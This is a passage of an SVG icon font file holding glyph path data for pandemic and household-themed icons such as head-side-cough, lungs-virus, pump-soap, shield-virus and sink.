-25.2705c-2.92773 -3.77051 -7.51074 -6.18066 -12.6504 -6.18066c-3.69922 0 -7.1084 1.25879 -9.81934 3.37109l-588.34 454.72 +c-3.76562 2.92871 -6.17188 7.50781 -6.17188 12.6426c0 3.69434 1.25488 7.09766 3.36133 9.80762l19.6201 25.2695c2.92773 3.77148 7.51074 6.18164 12.6504 6.18164c3.69922 0 7.1084 -1.25879 9.81934 -3.37109l116.891 -90.3398l20.3398 20.3096 +c5.78027 5.7998 13.7764 9.39258 22.5996 9.41016h83.79l-75.5996 -69.2402l25.6396 -19.8096l88.0703 80.6396c5.68457 5.21973 13.2764 8.41016 21.5947 8.41016h0.00488281h85.9004c0.0117188 0 0.0263672 0.00488281 0.0380859 0.00488281 +c8.82031 0 16.8047 -3.60254 22.5615 -9.41504l54.6104 -54.5898v-193.5c-2.45605 2.78125 -5.0625 5.31934 -7.91016 7.7002l-145.59 118.2l26.0898 23.8896c3.05762 2.91504 4.95215 7.02441 4.95215 11.5781c0 8.83105 -7.16895 16 -16 16 +c-4.03613 0 -7.72559 -1.49805 -10.542 -3.96777z" /> + <glyph glyph-name="head-side-cough" unicode="" horiz-adv-x="640" +d="M616 144c-13.2461 0 -24 10.7539 -24 24s10.7539 24 24 24s24 -10.7539 24 -24s-10.7539 -24 -24 -24zM552 32c13.2461 0 24 -10.7539 24 -24s-10.7539 -24 -24 -24s-24 10.7539 -24 24s10.7539 24 24 24zM488 88c13.2461 0 24 -10.7539 24 -24s-10.7539 -24 -24 -24 +s-24 10.7539 -24 24s10.7539 24 24 24zM616 -16c13.2461 0 24 -10.7539 24 -24s-10.7539 -24 -24 -24s-24 10.7539 -24 24s10.7539 24 24 24zM616 88c13.2461 0 24 -10.7539 24 -24s-10.7539 -24 -24 -24s-24 10.7539 -24 24s10.7539 24 24 24zM552 128 +c13.2461 0 24 -10.7539 24 -24s-10.7539 -24 -24 -24s-24 10.7539 -24 24s10.7539 24 24 24zM477.22 173c1.76367 -3.9668 2.75977 -8.38281 2.75977 -13c0 -17.6543 -14.3281 -31.9883 -31.9795 -32h-32v-32h-96c-17.6611 0 -32 -14.3389 -32 -32s14.3389 -32 32 -32h96 +c0 -35.3223 -28.6777 -64 -64 -64h-64v-32h-224v177.12c-39.25 35.2598 -64 86.1299 -64 142.88c0 106 86 192 192 192h42.0996c70.2783 -0.046875 132.342 -34.8047 170 -88.25c24.6201 -35 52.1201 -139.63 73.1201 -186.75zM288 224 +c17.6436 0.0380859 31.9619 14.3564 32 32c0 17.6611 -14.3389 32 -32 32s-32 -14.3389 -32 -32s14.3389 -32 32 -32z" /> + <glyph glyph-name="head-side-cough-slash" unicode="" horiz-adv-x="640" +d="M454.11 128.79l179.72 -138.89c3.76562 -2.92871 6.1709 -7.50781 6.1709 -12.6426c0 -3.69434 -1.25488 -7.09863 -3.36133 -9.80762l-19.6396 -25.2705c-2.92773 -3.77051 -7.51074 -6.18066 -12.6504 -6.18066c-3.69922 0 -7.1084 1.25879 -9.81934 3.37109 +l-588.351 454.72c-3.76562 2.92871 -6.1709 7.50781 -6.1709 12.6426c0 3.69434 1.25488 7.09766 3.36133 9.80762l19.6299 25.2695c2.92871 3.76855 7.50879 6.17676 12.6465 6.17676c3.69727 0 7.10254 -1.25684 9.81348 -3.36621l38.7197 -29.9199 +c30.6045 20.9385 67.7969 33.2998 107.644 33.2998h0.176758h42.0996c70.2783 -0.046875 132.342 -34.8047 170 -88.25c24.6201 -35 52.1201 -139.63 73.1201 -186.75c8.51074 -19.21 -3.5498 -40.4004 -23.1094 -44.21zM313.39 237.55 +c3.85059 5.28027 6.61035 11.4502 6.58008 18.4502c-0.0332031 17.6455 -14.3535 31.9668 -32 32c-9.92969 0 -18.4795 -4.86035 -24.3594 -12zM616 144c-13.2461 0 -24 10.7539 -24 24s10.7539 24 24 24s24 -10.7539 24 -24s-10.7539 -24 -24 -24zM552 80 +c-13.2461 0 -24 10.7539 -24 24s10.7539 24 24 24s24 -10.7539 24 -24s-10.7539 -24 -24 -24zM288 64c0 -17.6611 14.3389 -32 32 -32h96c0 -35.3223 -28.6777 -64 -64 -64h-64v-32h-224v177.12c-39.25 35.2598 -64 86.1299 -64 142.88 +c0.015625 31.0195 7.56055 60.5098 20.7305 86.4102l318.81 -246.41h-19.54c-17.6611 0 -32 -14.3389 -32 -32zM616 88c13.2461 0 24 -10.7539 24 -24s-10.7539 -24 -24 -24s-24 10.7539 -24 24s10.7539 24 24 24z" /> + <glyph glyph-name="head-side-mask" unicode="" +d="M0.150391 263.58c0.445312 9.60547 1.64062 19.0078 3.51953 28.1699l220.33 -160.26v-195.49h-160v177.12c-41 36.8203 -66.1699 90.6699 -63.8496 150.46zM509.22 173c1.62891 -3.79102 2.54688 -7.97949 2.54688 -12.3652 +c0 -0.211914 -0.00195312 -0.423828 -0.00683594 -0.634766h-272.55l-225.96 164.35c29.2305 73.0801 103.75 123.65 186.75 123.65h66.1104c70.2744 -0.046875 132.336 -34.8047 169.989 -88.25c24.6201 -35 52.1201 -139.63 73.1201 -186.75zM320 224 +c17.6436 0.0380859 31.9619 14.3564 32 32c0 17.6611 -14.3389 32 -32 32s-32 -14.3389 -32 -32s14.3389 -32 32 -32zM336 80c-8.83105 0 -16 -7.16895 -16 -16s7.16895 -16 16 -16h149.34l-10.6699 -32h-138.67c-8.83105 0 -16 -7.16895 -16 -16s7.16895 -16 16 -16h128 +l-1.41016 -4.24023c-8.47363 -25.4199 -32.458 -43.7578 -60.71 -43.7598h-145.88v192h256l-16 -48h-160z" /> + <glyph glyph-name="head-side-virus" unicode="" +d="M272 208c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM208 272c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM509.2 173c1.76367 -3.9668 2.75879 -8.38281 2.75879 -13 +c0 -17.6475 -14.3164 -31.9775 -31.959 -32h-32v-64c0 -35.3223 -28.6777 -64 -64 -64h-64v-64h-256v177.19c-39.3125 35.0342 -64 86.0137 -64 142.763v0.046875c0 106 86 192 192 192h74.0898c70.3008 0 132.405 -34.7725 170.04 -88.25 +c24.6396 -35.0195 52.1396 -139.63 73.0703 -186.75zM368 208c8.83105 0 16 7.16895 16 16s-7.16895 16 -16 16h-12.1201c-28.5098 0 -42.79 34.4697 -22.6299 54.6299l8.58008 8.57031c2.89648 2.89648 4.68457 6.90137 4.68457 11.3174 +c0 8.83105 -7.16992 16.002 -16.002 16.002c-4.41602 0 -8.41602 -1.79297 -11.3125 -4.68945l-8.57031 -8.58008c-20.1602 -20.1602 -54.6299 -5.87988 -54.6299 22.6299v12.1201c0 8.83105 -7.16895 16 -16 16s-16 -7.16895 -16 -16v-12.1201 +c0 -28.5098 -34.4697 -42.79 -54.6299 -22.6299l-8.57031 8.58008c-2.89648 2.89648 -6.90137 4.68457 -11.3174 4.68457c-8.83105 0 -16.002 -7.16992 -16.002 -16.002c0 -4.41602 1.79297 -8.41602 4.68945 -11.3125l8.58008 -8.57031 +c20.1602 -20.1602 5.87988 -54.6299 -22.6299 -54.6299h-12.1201c-8.83105 0 -16 -7.16895 -16 -16s7.16895 -16 16 -16h12.1201c28.5098 0 42.79 -34.4697 22.6299 -54.6299l-8.58008 -8.57031c-2.89648 -2.89648 -4.68457 -6.90137 -4.68457 -11.3174 +c0 -8.83105 7.16992 -16.002 16.002 -16.002c4.41602 0 8.41602 1.79297 11.3125 4.68945l8.57031 8.58008c20.1602 20.1602 54.6299 5.87988 54.6299 -22.6299v-12.1201c0 -8.83105 7.16895 -16 16 -16s16 7.16895 16 16v12.1201c0 28.5098 34.4697 42.79 54.6299 22.6299 +l8.57031 -8.58008c2.89648 -2.89648 6.90137 -4.68457 11.3174 -4.68457c8.83105 0 16.002 7.16992 16.002 16.002c0 4.41602 -1.79297 8.41602 -4.68945 11.3125l-8.58008 8.57031c-20.1602 20.1602 -5.87988 54.6299 22.6299 54.6299h12.1201z" /> + <glyph glyph-name="house-user" unicode="" horiz-adv-x="576" +d="M570.69 211.73c2.9082 -3.21777 4.83887 -7.36914 5.30957 -11.9209c-0.388672 -3.95801 -1.85742 -7.64648 -4.08984 -10.6895l-21.4102 -23.8105c-3.20117 -2.90527 -7.33496 -4.83594 -11.8701 -5.30957c-3.9668 0.40625 -7.66406 1.88379 -10.7197 4.12012 +l-15.9102 14v-210.12c0 -17.6611 -14.3389 -32 -32 -32h-383.91c-17.6611 0 -32 14.3389 -32 32v210.11l-15.8994 -14c-3.04297 -2.23926 -6.73047 -3.71484 -10.6904 -4.11035c-4.57715 0.460938 -8.75586 2.38867 -12 5.2998l-21.4102 23.79 +c-2.37695 2.95605 -3.87891 6.67773 -4.08984 10.71c0.241211 4.62402 2.20312 8.8125 5.25977 11.9004l256 226c6.28027 5.68945 18.21 10.2998 26.7402 10.2998s20.5 -4.61035 26.7803 -10.2998l101.22 -89.3701v51.6699c0 8.83105 7.16895 16 16 16h64 +c8.83105 0 16 -7.16895 16 -16v-136.44zM288 272c-35.3223 0 -64 -28.6777 -64 -64s28.6777 -64 64 -64s64 28.6777 64 64s-28.6777 64 -64 64zM400 0c8.83105 0 16 7.16895 16 16c0 52.9834 -43.0166 96 -96 96h-64c-52.9834 0 -96 -43.0166 -96 -96 +c0 -8.83105 7.16895 -16 16 -16h224z" /> + <glyph glyph-name="laptop-house" unicode="" horiz-adv-x="640" +d="M272 160v-128h-176c-17.6611 0 -32 14.3389 -32 32v164.12l-21.6602 -19.1201c-2.5957 -2.02832 -5.83691 -3.30469 -9.33984 -3.48047c-4.15527 0.22168 -7.91113 2.00684 -10.6602 4.78027l-18.79 21.3105c-2.06836 2.59668 -3.37207 5.8584 -3.5498 9.38965 +c0.234375 4.12598 2.01758 7.85352 4.78027 10.5801l211.8 187.5c5.54004 4.91992 16.0703 8.91992 23.4697 8.91992c7.40039 0 17.9502 -4 23.4502 -8.91992l88.5 -78.3799v39.2998c0 8.83105 7.16895 16 16 16h32c8.83105 0 16 -7.16895 16 -16v-96l59.25 -52.3896 +c2.74609 -2.74707 4.5166 -6.48145 4.75 -10.6104c-0.186523 -3.56445 -1.51172 -6.85449 -3.61035 -9.46973l-6.64941 -7.53027h-136.94c-17.7998 0 -33.6895 -8.24023 -44.7998 -21.1201v37.1201c0 8.83105 -7.16895 16 -16 16h-64c-8.83105 0 -16 -7.16895 -16 -16v-64 +c0 -8.83105 7.16895 -16 16 -16h64zM629.33 0c5.88867 0 10.6699 -4.78125 10.6699 -10.6699v-10.6602c-0.0820312 -23.4883 -19.1201 -42.5498 -42.5996 -42.6699h-298.801c-23.4795 0.120117 -42.5176 19.1816 -42.5996 42.6699v10.6602 +c0 5.88867 4.78125 10.6699 10.6699 10.6699h37.3301v160c0 17.6699 12.8896 32 28.7998 32h230.4c15.9102 0 28.7998 -14.3301 28.7998 -32v-160h37.3301zM544 0v144h-192v-144h192z" /> + <glyph glyph-name="lungs-virus" unicode="" horiz-adv-x="640" +d="M344 297.32c-6.99512 4.2207 -15.291 6.65039 -24.0498 6.65039s-16.9551 -2.42969 -23.9502 -6.65039v134.68c0 8.83105 7.16895 16 16 16h16c8.83105 0 16 -7.16895 16 -16v-134.68zM195.54 3.54004c8.44824 -8.67969 20.2178 -14.0645 33.2754 -14.0645 +c2.87988 0 5.69922 0.261719 8.43457 0.764648c-13.043 -16.7764 -31.3789 -29.1445 -52.5 -34.75l-59.5 -15.8701c-62.75 -16.8799 -125.25 27.3799 -125.25 88.6299c0 0.0820312 0.0126953 0.125 0.0126953 0.207031c0 10.1719 1.3457 20.0322 3.86719 29.4131 +c22.0361 82.46 57.0371 160.927 102 231c22.1201 34.6299 36.1201 63.1299 80.1201 63.1299c38.6201 0 70 -29.3799 70 -65.75v-27.6797c-7.62012 5.0918 -16.832 8.08496 -26.6768 8.08496c-26.4922 0 -48 -21.5088 -48 -48c0 -13.3232 5.43945 -25.3848 14.2168 -34.085 +l8.58008 -8.57031h-12.1201c-26.4922 0 -48 -21.5078 -48 -48s21.5078 -48 48 -48h12.1201l-8.58008 -8.58008c-8.67383 -8.69531 -14.0391 -20.707 -14.0391 -33.9473s5.36523 -25.2363 14.0391 -33.9326zM421.83 26.1699 +c-2.89648 -2.89648 -6.90137 -4.68945 -11.3174 -4.68945s-8.41602 1.79297 -11.3125 4.68945l-8.57031 8.57031c-20.1602 20.1602 -54.6299 5.87988 -54.6299 -22.6201v-12.1201c0 -8.83105 -7.16895 -16 -16 -16s-16 7.16895 -16 16v12.1201 +c0 28.5 -34.4697 42.7803 -54.6299 22.6201l-8.57031 -8.57031c-2.9082 -2.99609 -6.98242 -4.85449 -11.4834 -4.85449c-8.83105 0 -16 7.16992 -16 16c0 4.49902 1.86035 8.56641 4.85352 11.4746l8.58008 8.58008c20.1602 20.1602 5.87988 54.6299 -22.6299 54.6299 +h-12.1201c-8.83105 0 -16 7.16895 -16 16s7.16895 16 16 16h12.1201c28.5098 0 42.79 34.4697 22.6299 54.6201l-8.58008 8.58008c-2.89648 2.89648 -4.68457 6.90137 -4.68457 11.3174c0 8.83105 7.16992 16.002 16.002 16.002 +c4.41602 0 8.41602 -1.79297 11.3125 -4.68945l8.57031 -8.58008c20.1602 -20.1602 54.6299 -5.87988 54.6299 22.6299v12.1201c0 8.83105 7.16895 16 16 16s16 -7.16895 16 -16v-12.1201c0 -28.5098 34.4697 -42.79 54.6299 -22.6299l8.57031 8.58008 +c2.89648 2.89648 6.90137 4.68457 11.3174 4.68457c8.83105 0 16.002 -7.16992 16.002 -16.002c0 -4.41602 -1.79297 -8.41602 -4.68945 -11.3125l-8.58008 -8.58008c-20.1602 -20.1504 -5.87988 -54.6201 22.6299 -54.6201h12.1201c8.83105 0 16 -7.16895 16 -16 +s-7.16895 -16 -16 -16h-12.1201c-28.5098 0 -42.79 -34.4697 -22.6299 -54.6299l8.58008 -8.58008c2.89355 -2.89551 4.68457 -6.89844 4.68457 -11.3125c0 -4.41309 -1.79102 -8.41211 -4.68457 -11.3076zM288 144c8.83105 0 16 7.16895 16 16s-7.16895 16 -16 16 +s-16 -7.16895 -16 -16s7.16895 -16 16 -16zM352 80c8.83105 0 16 7.16895 16 16s-7.16895 16 -16 16s-16 -7.16895 -16 -16s7.16895 -16 16 -16zM636.12 57.8701c2.52148 -9.38086 3.87988 -19.2021 3.87988 -29.374v-0.246094c0 -61.25 -62.5 -105.51 -125.25 -88.6299 +l-59.5 15.8701c-21.1211 5.60547 -39.457 17.9736 -52.5 34.75c2.77246 -0.50293 5.59766 -0.761719 8.51465 -0.761719c26.3262 0 47.7002 21.374 47.7002 47.7002c0 13.4287 -5.56152 25.5693 -14.5049 34.2412l-8.58008 8.58008h12.1201c26.4922 0 48 21.5078 48 48 +s-21.5078 48 -48 48h-12.1201l8.58008 8.53027c8.77734 8.7002 14.1602 20.7393 14.1602 34.0615c0 26.4922 -21.5078 48 -48 48c-9.84375 0 -19 -2.96973 -26.6201 -8.06152v27.7197c0 36.3701 31.3799 65.75 70 65.75c44 0 58 -28.5 80.1201 -63.1299 +c44.9629 -70.0732 79.9639 -148.54 102 -231z" /> + <glyph glyph-name="people-arrows" unicode="" horiz-adv-x="576" +d="M96 320c-35.3223 0 -64 28.6777 -64 64s28.6777 64 64 64s64 -28.6777 64 -64s-28.6777 -64 -64 -64zM96 143.92c0 -0.0400391 -0.0117188 -0.078125 -0.0117188 -0.119141c0 -12.5332 5.24219 -23.8516 13.6514 -31.8809l50.3604 -47.5303v-96.3896 +c0 -17.6611 -14.3389 -32 -32 -32h-64c-17.6611 0 -32 14.3389 -32 32v128c-17.6611 0 -32 14.3389 -32 32v96c0 35.3223 28.6777 64 64 64h64c26.9717 -0.0253906 50.0303 -16.7598 59.3799 -40.4297c-1.83984 -1.26074 -3.95996 -2.02051 -5.61035 -3.57031 +l-72.1299 -68.0801c-8.40918 -8.03418 -13.6396 -19.3555 -13.6396 -31.8926v-0.107422zM480 320c-35.3223 0 -64 28.6777 -64 64s28.6777 64 64 64s64 -28.6777 64 -64s-28.6777 -64 -64 -64zM512 288c35.3223 0 64 -28.6777 64 -64v-96c0 -17.6611 -14.3389 -32 -32 -32 +v-128c0 -17.6611 -14.3389 -32 -32 -32h-64c-17.6611 0 -32 14.3389 -32 32v96.3799l50.3604 47.5498c8.4082 8.07617 13.6445 19.4336 13.6445 32.002c0 12.5674 -5.23633 23.9219 -13.6445 31.998l-72.1201 68.0605c-1.62012 1.58984 -3.78027 2.31934 -5.62012 3.58984 +c9.35352 23.666 32.4102 40.3965 59.3799 40.4199h64zM444.4 152.66c2.22461 -2.24219 3.59961 -5.33203 3.59961 -8.7373c0 -3.4043 -1.375 -6.49121 -3.59961 -8.73242l-72.1201 -68.0703c-2.1543 -2.05371 -5.07227 -3.31543 -8.28027 -3.31543 +c-6.62305 0 -12 5.37695 -12 12v0.0556641v36.1396h-128v-36.1396c0 -0.0185547 -0.00292969 -0.0361328 -0.00292969 -0.0546875c0 -6.62305 -5.37695 -12 -12 -12c-3.20801 0 -6.12305 1.26074 -8.27734 3.31445l-72.1201 68.0703 +c-2.22461 2.24121 -3.59961 5.33203 -3.59961 8.73633c0 3.40527 1.375 6.49121 3.59961 8.7334l72.1201 68.0703c2.1543 2.05273 5.07227 3.31445 8.28027 3.31445c6.62305 0 12 -5.37695 12 -12v-0.0449219v-36h128v36 +c0 0.0117188 0.00292969 0.0224609 0.00292969 0.0341797c0 6.62305 5.37695 12 12 12c3.20801 0 6.12305 -1.26074 8.27734 -3.31445z" /> + <glyph glyph-name="plane-slash" unicode="" horiz-adv-x="640" +d="M32.4805 300.12c-0.258789 1.12109 -0.386719 2.2959 -0.386719 3.49512c0 2.94531 0.825195 5.7002 2.25586 8.04492l324.841 -251.061l-66.6006 -116.54c-2.75684 -4.82227 -7.94141 -8.05957 -13.8896 -8.05957h-65.5 +c-8.81641 0.0166016 -15.9678 7.17676 -15.9678 15.9971c0 1.53027 0.21582 3.01074 0.617188 4.41309l49 171.59h-102.85l-43.2002 -57.5898c-2.91797 -3.89648 -7.5625 -6.40723 -12.7998 -6.41016h-40c-8.82812 0.00292969 -15.9941 7.16406 -15.9941 15.9932 +c0 1.33691 0.165039 2.63574 0.474609 3.87695l31.5195 108.13zM633.82 -10.0898c3.77148 -2.92871 6.18164 -7.51074 6.18164 -12.6514c0 -3.69531 -1.25488 -7.09863 -3.3623 -9.80859l-19.6396 -25.2598c-2.92773 -3.77246 -7.51074 -6.18262 -12.6514 -6.18262 +c-3.69434 0 -7.09863 1.25488 -9.80859 3.3623l-588.36 454.72c-3.76855 2.92871 -6.17578 7.50879 -6.17578 12.6465c0 3.69727 1.25684 7.10352 3.36621 9.81348l19.6299 25.2598c2.92871 3.76855 7.50879 6.17676 12.6465 6.17676 +c3.69727 0 7.10254 -1.25684 9.81348 -3.36621l189.3 -146.3l-36.9395 129.29c-0.398438 1.39551 -0.614258 2.86621 -0.614258 4.38965c0 8.8291 7.16602 15.9971 15.9941 16h65.5098c5.12988 0 11.3496 -3.61035 13.9004 -8.05957l105.09 -183.94h114.3 +c35.3398 0 96 -28.6602 96 -64s-60.6602 -64 -96 -64h-56.8604z" /> + <glyph glyph-name="pump-medical" unicode="" horiz-adv-x="384" +d="M235.51 288.18c33.3369 -0.00195312 60.7559 -25.6123 63.7305 -58.1797l20.3701 -224c0.175781 -1.93066 0.262695 -3.82324 0.262695 -5.7998c0 -35.3203 -28.6738 -63.9961 -63.9932 -64h-192c-35.3223 0 -64.0059 28.6143 -64.0059 63.9365 +c0 1.97656 0.0898438 3.93262 0.265625 5.86328l20.3701 224c2.97461 32.5674 30.3936 58.1777 63.7305 58.1797h151.27zM239.88 114.85v26.6602c0 7.3623 -5.97754 13.3398 -13.3398 13.3398h-40v40c0 7.35742 -5.97266 13.3301 -13.3301 13.3301h-26.6699 +c-7.35742 0 -13.3301 -5.97266 -13.3301 -13.3301v-40h-40c-7.35742 0 -13.3301 -5.97266 -13.3301 -13.3291v-0.0107422v-26.6602c0 -7.3584 5.97266 -13.334 13.3301 -13.3398h40v-40c0 -7.35645 5.97266 -13.3301 13.3301 -13.3301h26.6699 +c7.35742 0 13.3301 5.97363 13.3301 13.3301v40h40c7.36035 0.00585938 13.334 5.98047 13.3398 13.3398zM379.19 354.12c2.89648 -2.89648 4.68945 -6.90137 4.68945 -11.3174s-1.79297 -8.41602 -4.68945 -11.3125l-22.6201 -22.6201 +c-2.89648 -2.89746 -6.90137 -4.68945 -11.3174 -4.68945s-8.41699 1.79199 -11.3125 4.68945l-43.3105 43.3096h-66.75v-32h-128v96c0 17.6611 14.3389 32 32 32h64c17.6611 0 32 -14.3389 32 -32h66.75c17.6553 -0.00195312 33.6582 -7.16016 45.2402 -18.7393z" /> + <glyph glyph-name="pump-soap" unicode="" horiz-adv-x="384" +d="M235.63 288c0.00390625 0 0.0107422 -0.0634766 0.0146484 -0.0634766c33.3496 0 60.7754 -25.5625 63.7354 -58.1465l20.3604 -224c0.174805 -1.92773 0.259766 -3.81738 0.259766 -5.79004c0 -35.3223 -28.6777 -64 -64 -64h-192 +c-35.3193 0.00390625 -63.9941 28.6172 -63.9941 63.9365c0 1.97363 0.0888672 3.92578 0.263672 5.85352l20.3604 224c2.95996 32.584 30.3906 58.21 63.7402 58.21h151.26zM160 32c33.1201 0 60 26.3301 60 58.7305c0 25 -35.6699 75.4697 -52 97.2695 +c-1.82422 2.43848 -4.72559 4.01855 -8.00293 4.01855c-3.26758 0 -6.17188 -1.57129 -7.99707 -3.99902c-16.2998 -21.7998 -52 -72.2695 -52 -97.2695c0 -32.4199 26.8799 -58.75 60 -58.75zM379.31 353.94c2.89746 -2.89648 4.69043 -6.90137 4.69043 -11.3174 +s-1.79297 -8.41699 -4.69043 -11.3135l-22.6191 -22.6191c-2.89648 -2.89746 -6.90137 -4.69043 -11.3174 -4.69043s-8.41699 1.79297 -11.3135 4.69043l-43.3096 43.3096h-66.75v-32h-128v96c0 17.6611 14.3389 32 32 32h64c17.6611 0 32 -14.3389 32 -32h66.75 +c17.6582 0 33.666 -7.1582 45.25 -18.7402z" /> + <glyph glyph-name="shield-virus" unicode="" +d="M224 256c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM466.5 364.32c17.3359 -7.24121 29.5 -24.3428 29.5 -44.291v-0.0292969c0 -221.3 -135.91 -344.61 -221.59 -380.32 +c-5.67578 -2.3584 -11.9619 -3.66016 -18.4873 -3.66016c-6.52441 0 -12.7471 1.30176 -18.4229 3.66016c-107 44.6006 -221.5 181.82 -221.5 380.32c0 0.0166016 -0.03125 0.0107422 -0.03125 0.0263672c0 19.9707 12.2402 37.1055 29.6211 44.3037l192 80 +c5.75293 2.17188 12 3.46582 18.46 3.66992c6.45605 -0.208008 12.7012 -1.50586 18.4502 -3.67969zM384 192c8.83105 0 16 7.16895 16 16s-7.16895 16 -16 16h-12.1201c-28.5098 0 -42.79 34.4697 -22.6299 54.6299l8.58008 8.57031 +c2.89648 2.89648 4.68457 6.90137 4.68457 11.3174c0 8.83105 -7.16992 16.002 -16.002 16.002c-4.41602 0 -8.41602 -1.79297 -11.3125 -4.68945l-8.57031 -8.58008c-20.1602 -20.1602 -54.6299 -5.87988 -54.6299 22.6299v12.1201c0 8.83105 -7.16895 16 -16 16 +s-16 -7.16895 -16 -16v-12.1201c0 -28.5098 -34.4697 -42.79 -54.6299 -22.6299l-8.57031 8.58008c-2.89648 2.89648 -6.90137 4.68457 -11.3174 4.68457c-8.83105 0 -16.002 -7.16992 -16.002 -16.002c0 -4.41602 1.79297 -8.41602 4.68945 -11.3125l8.58008 -8.57031 +c20.1602 -20.1602 5.87988 -54.6299 -22.6299 -54.6299h-12.1201c-8.83105 0 -16 -7.16895 -16 -16s7.16895 -16 16 -16h12.1201c28.5098 0 42.79 -34.4697 22.6299 -54.6299l-8.58008 -8.57031c-2.89648 -2.89648 -4.68457 -6.90137 -4.68457 -11.3174 +c0 -8.83105 7.16992 -16.002 16.002 -16.002c4.41602 0 8.41602 1.79297 11.3125 4.68945l8.57031 8.58008c20.1602 20.1602 54.6299 5.87988 54.6299 -22.6299v-12.1201c0 -8.83105 7.16895 -16 16 -16s16 7.16895 16 16v12.1201c0 28.5098 34.4697 42.79 54.6299 22.6299 +l8.57031 -8.58008c2.89648 -2.89648 6.90137 -4.68457 11.3174 -4.68457c8.83105 0 16.002 7.16992 16.002 16.002c0 4.41602 -1.79297 8.41602 -4.68945 11.3125l-8.58008 8.57031c-20.1602 20.1602 -5.87988 54.6299 22.6299 54.6299h12.1201zM288 192 +c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16z" /> + <glyph glyph-name="sink" unicode="" +d="M32 32v32h448v-32c0 -52.9834 -43.0166 -96 -96 -96h-256c-52.9834 0 -96 43.0166 -96 96zM496 160c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-480c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h96v32h-64 +c-8.83105 0 -16 7.16895 -16 16v16c0 8.83105 7.16895 16 16 16h80c17.6611 0 32 -14.3389 32 -32v-48h64v188.21c0 46.4297 31.29 89.0801 76.8701 97.9297c6.15625 1.23926 12.4512 1.8877 18.9697 1.8877c53.0283 0 96.0879 -43.0166 96.1602 -96.0273v-16 +c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v16c0 17.6611 -14.3389 32 -32 32s-32 -14.3389 -32 -32v-192h64v48c0 17.6611 14.3389 32 32 32h80c8.83105 0 16 -7.16895 16 -16v-16c0 -8.83105 -7.16895 -16 -16 -16h-64v-32h96z" /> + <glyph glyph-name="soap" unicode="" +d="M416 256c52.9834 0 96 -43.0166 96 -96v-128c0 -52.9834 -43.0166 -96 -96 -96h-320c-52.9834 0 -96 43.0166 -96 96v128c0 52.9834 43.0166 96 96 96h128c0.0634766 -24.6279 9.49707 -47.1133 24.9102 -64h-88.9102c-52.9834 0 -96 -43.0166 -96 -96 +s43.0166 -96 96 -96h192c0.0703125 0 0.171875 -0.0322266 0.242188 -0.0322266c52.873 0 95.7998 42.9268 95.7998 95.7998c0 41.3477 -26.251 76.6123 -62.9824 90.0225c19.0049 17.4219 30.9033 42.4307 30.9404 70.21zM320 192c-35.3223 0 -64 28.6777 -64 64 +s28.6777 64 64 64s64 -28.6777 64 -64s-28.6777 -64 -64 -64zM208 352c-26.4922 0 -48 21.5078 -48 48s21.5078 48 48 48s48 -21.5078 48 -48s-21.5078 -48 -48 -48zM384 384c-17.6611 0 -32 14.3389 -32 32s14.3389 32 32 32s32 -14.3389 32 -32s-14.3389 -32 -32 -32z +M160 160h192c35.3223 0 64 -28.6777 64 -64s-28.6777 -64 -64 -64h-192c-35.3223 0 -64 28.6777 -64 64s28.6777 64 64 64z" /> + <glyph glyph-name="stopwatch-20" unicode="" horiz-adv-x="448" +d="M398.5 257.09c21.1045 -32.3291 33.501 -71.1426 33.501 -112.596c0 -0.165039 -0.000976562 -0.329102 -0.000976562 -0.494141c0 -116 -94.8701 -209.77 -211.28 -208c-113.96 1.78027 -208.08 100.5 -204.63 214.43c3.10156 100.915 78.4639 183.935 175.91 199.07 +v34.5h-32c-8.81836 0.0273438 -15.9727 7.18164 -16 16v32c0.0273438 8.81836 7.18164 15.9727 16 16h128c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-32v-34.5c37.3506 -5.76855 71.749 -21.625 99.6904 -44.5898l24.6797 24.6797 +c2.89648 2.89746 6.90137 4.69043 11.3174 4.69043s8.41602 -1.79297 11.3125 -4.69043l22.6797 -22.6797c2.89746 -2.89648 4.69043 -6.90137 4.69043 -11.3174s-1.79297 -8.41602 -4.69043 -11.3125l-26.5898 -26.5801zM204.37 70.4502l-49.1299 0.0400391 +c1.7998 15.6299 14.8496 36.2002 26.4102 51.2002c21.9092 30.0996 34.3496 45.7295 34.3496 81.3096c0 35.1504 -12.5703 61 -55.5703 61c-47.9492 0 -56.4297 -32.9404 -56.4297 -60.2402v-4.06934c0.0703125 -4.46582 3.71484 -8.07129 8.19629 -8.07129 +c0.0449219 0 0.0888672 0 0.133789 0.000976562h24.9004c0.0439453 -0.000976562 0.0859375 0.000976562 0.130859 0.000976562c4.48145 0 8.12891 3.60352 8.19824 8.06934v5.22949c0 15.2803 3.30078 22.6797 12.6904 22.6797c10.4199 0 12.21 -7.34961 12.21 -24.2695 +c0 -25.0205 -6.67969 -33.1504 -27.0996 -62.3398c-23.7803 -33.96 -35.6699 -56.1504 -38.4502 -91.3701c-0.0273438 -0.388672 -0.0449219 -0.765625 -0.0449219 -1.16113c0 -9.08496 7.37598 -16.46 16.46 -16.46c0.0654297 0 0.129883 0 0.194336 0.000976562h82.8506 +c0.0410156 -0.000976562 0.0800781 0.000976562 0.121094 0.000976562c4.48145 0 8.12891 3.60352 8.19922 8.06934v22.3096c-0.0703125 4.46484 -3.71582 8.07129 -8.19727 8.07129c-0.0410156 0 -0.0820312 -0.000976562 -0.123047 -0.000976562zM344 95.6797v107.021 +c0 38.6602 -19 61.2998 -55.7998 61.2998c-36.6201 0 -56.2002 -22.4902 -56.2002 -63.2197v-105.33c0 -33.9307 11.1904 -63.4502 54.7695 -63.4502c44.9307 0 57.2305 28.5195 57.2305 63.6797zM287.87 226.27c10.0098 0 13.0195 -8.05957 13 -19.3291v-115.94 +c0 -13.2695 -3.36035 -21.2695 -13 -21.2695s-13.2305 7.47949 -13.2305 20.5898v115.949c0 12.5 3.82031 20 13.2305 20z" /> + <glyph 